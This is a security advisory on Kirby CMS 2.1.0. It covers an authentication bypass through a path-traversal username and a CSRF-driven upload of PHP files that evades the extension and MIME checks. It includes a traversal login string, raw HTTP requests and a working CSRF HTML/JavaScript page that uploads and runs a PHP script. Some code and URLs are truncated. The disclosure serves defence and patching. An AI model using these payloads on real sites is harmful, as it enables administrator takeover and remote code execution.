SSD Advisory – Kirby CMS Multiple Vulnerabilities

SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Kirby is “a file‑based CMS. Easy to setup. Easy to use. Flexible as hell”.
Vulnerability Details
Two security vulnerabilities have been found in Kirby CMS:

  • Authentication Bypass via Path Traversal
  • CSRF Content Upload and PHP Script Execution

Authentication Bypass via Path Traversal
KirbyCMS has a vulnerability that allows to bypass authentication in a hosting environment where users within the same shared environment can save/read files in a directory accessible by both the victim and the attacker.
As KirbyCMS is a file based CMS, it also stores authentication data within files in accounts directory, each user has its own password file such as: kirby/site/accounts/[username].php
At login, KirbyCMS refer to the password file to verify the passwor hash. During the process, it fails to validate the resulting path to ensure that it does not contain path traversal sequences such as ‘../’ within the login variable provided by a user.
This makes it vulnerable to a path traversal attack and allows to bypass the authentication if an attacker is located in the same multi-user hosting environment and can write files to a public directory such as /tmp accessible by the victim site with KirbyCMS.
The exact code responsible for this vulnerability is located in kirby/core/user.php file and is shown below:

abstract class UserAbstract {
  protected $username = null;
  protected $cache = array();
  protected $data = null;
  public function __construct($username) {
    $this->username = str::lower($username);
    // check if the account file exists
    if(!file_exists($this->file())) {
      throw new Exception('The user account could not be found');
  protected function file() {
    return kirby::instance()->roots()->accounts() . DS . $this->username() . '.php';

In addition to the authentication bypass KirbyCMS was found to allow authentication over HTTP protocol (resulting in passwords being sent unencrypted), and to never expire authenticated sessions.
Proof of Concept
KirbyCMS stores credentials in: kirby/site/accounts directory as PHP files to prevent the contents from being accessed directly via the web server.
An example file with credentials looks as follows:

<?php if(!defined('KIRBY')) exit ?>
username: victim
password: >
language: en
role: admin

To bypass the authentication an attacker who has an account in the same hosting environment as the victim can write the above credentials file containing an encrypted hash of the password: trythisout into a public directory such as:
Because of the aformentioned Path Traversal vulnerability the attacker can use such credentials and log in as an administrator (via: with:

Username: ../../../../../../../../tmp/bypassauth
Password: trythisout

which will produce a HTTP POST request similar to:

POST /kirby/panel/login HTTP/1.1
Host: victim_kirby_site
Cookie: PHPSESSID=mqhncr49bpbgnt9kqrp055v7r6; kirby=58eddb6...
Content-Length: 149

This will cause KirbyCMS to load credentials from the path:
As a result, the attacker will get the following response:

<h2 class="hgroup hgroup-single-line cf">
<span class="hgroup-title">
  <a href="#/users/edit/../../../../../../../../tmp/bypassauth">Your account</a>
<span class="hgroup-options shiv shiv-dark shiv-left">

Getting access to the KirbyCMS control panel with admin rights.
CSRF Content Upload and PHP Script Execution
KirbyCMS has a vulnerability that allows to upload normally disallowed PHP script files. This issue can only be exploited by authenticated users, however admin role is not required.
Additionally, KirbyCMS has another vulnerability – Cross-Site Request Forgery (CSRF) – which may allow attackers to perform file upload actions on behalf of an already authenticated KirbyCMS users, if an attacker manages to trick them into visiting a specially-crafted website. This issue can allow an unauthorized attacker to modify or upload new content.
Both of the issues can be combined to execute arbitrary PHP code on the remote server hosting KirbyCMS, if a logged-in victim visits a page prepared by an attacker which contains an exploit mentioned further on.
PHP Script Execution
KirbyCMS allows to upload content to both admin and a low privileged editor users who can access the control panel. The upload feature allows to upload images and other media files which can be referenced within the content once uploaded.
KirbyCMS performs the following validation before saving an uploaded file to prohibit risky uploads:

  protected function checkUpload($file, $blueprint) {
    if(strtolower($file->extension()) == kirby()->option('content.file.extension', 'txt')) {
      throw new Exception('Content files cannot be uploaded');
    } else if(strtolower($file->extension()) == 'php' or
              in_array($file->mime(), f::$mimes['php'])) {
      throw new Exception('PHP files cannot be uploaded');
    } else if(strtolower($file->extension()) == 'html' or
              $file->mime() == 'text/html') {
      throw new Exception('HTML files cannot be uploaded');

As we can see it prevents uploading PHP files by checking if an uploaded file has a ‘.php’ extension, or if the discovered MIME type of the file has been evaluated to PHP. KirbyCMS throws an exception and stops further processing if either of the conditions is true.
Unfortunately, both of the checks can easily be bypassed on multiple server configurations.
As many server configurations such as Ubuntu, or Debian, process several file extensions as PHP scripts, e.g.: .php, .php4, .php5. The extension check can for example be evaded by simply uploading a malicious file with the ‘.php4’ extension. The MIME type check can also be easily bypassed by preceding the <?php script tags with <?xml tags , to trick the MIME detector into recognizing the malicious file as XML thus passing the check (mime[‘php’] != mime[‘xml’]).
As the upload directory is not set to disable script execution by default, bypassing the checks allows to upload arbitrary PHP scripts and execute them on the remote server hosting a vulnerable KirbyCMS installation.
Cross-Site Request Forgery (CSRF)
Media files are only meant to be uploaded by authenticated users such as editors or site administrators. However, KirbyCMS’s upload function does not protect against cross-site request forgery by including a special CSRF token to verify the source of the request.
As a result, an attacker can prepare a specially-crafted webpage which will upload a malicious file to the remote KirbyCMS site without user’s permission, if the attacker manages to trick the logged-in victim into visiting his page.
Proof of Concept
Both of the issues described above can be combined to prepare a malicious page which uploads an arbitrary PHP file as soon as a victim authenticated into KirbyCMS visits the page.
The CSRF.html file (see below) contains a simple PoC which uploads a kirbyexec.php5 file as soon as the page is opened. The target URL must point at the vulnerable KirbyCMS installation.
The CSRF html page sends a request similar to the following in the background:

POST /kirby/panel/api/files/upload/about HTTP/1.1
Host: victim_kirby_server
Content-Type: multipart/form-data; boundary=---------------------------4679830631250006491995140822
Content-Length: 261
Origin: null
Cookie: PHPSESSID=tjnqqia89ka0q7khl4v72r6nl1; kirby=323b04a2a3e7f00...
Content-Disposition: form-data; name="file"; filename="kirbyexec.php5"
Content-Type: application/x-php
<?xml >

Uploading the file as a result into the: kirby/content/1-about directory on the server.
The malicious file can then be accessed via the URL:
Once opened, phpinfo() page should be loaded.

  <body onload="kirbySend()">
      function kirbySend()
        var xhr = new XMLHttpRequest();"POST", "http://victim_kirby_server/kirby/panel/api/files/upload/about", true);
        xhr.setRequestHeader("Accept", "application/json");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------4679830631250006491995140822");
        xhr.withCredentials = true;
        var body = "-----------------------------4679830631250006491995140822\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"kirbyexec.php5\"\r\n" +
          "Content-Type: application/x-php\r\n" +
          "\r\n" +
          "\x3c?xml \x3e\n" +
          "\x3c?php\n" +
          "\n" +
          "phpinfo();\n" +
          "\n" +
          "?\x3e\n" +
          "\n" +
          "\n" +
          "\r\n" +
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
    <form action="#">
      <input type="button" value="Re-submit request to Kirby" onclick="kirbySend();" />

Affected Version
Kirby CMS version 2.1.0 and older
Vendor Response
The vendor was notified and promptly released an advisory and a fix, Kirby version 2.1.1 addresses all the aforementioned vulnerabilities.